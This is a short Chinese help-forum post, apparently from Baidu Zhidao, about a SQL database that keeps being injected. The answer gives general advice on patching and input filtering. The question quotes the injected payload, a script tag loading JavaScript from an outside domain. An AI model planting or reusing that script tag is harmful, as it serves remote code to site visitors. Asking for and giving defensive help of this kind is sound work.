数据库被注入

来源:百度知道 编辑:UC知道 时间:2024/05/27 19:06:48
我的SQL数据库很多字段都没注放了js代码
如:<script src=http://cn.daxia123.cn/cn.js></script>
我总要还原数据库才可以 过几天又会出现 谁知道怎么能禁止注入吗?

不是你的数据库的问题,而是你的程序(例如ASP)有问题,写得不好,我估计程序不是你自己写的,你可能安装了一些比较差劲的程序代码。

解决的方法:如果你安装的程序自己没有修改过,那么网上看看是否有升级版或者补丁。如果你自己修改了许多,不能升级,那么你应该主义检查所有执行SQL的语句,如果语句里面有变量,应该对变量进行判断,删除里面的特殊符号。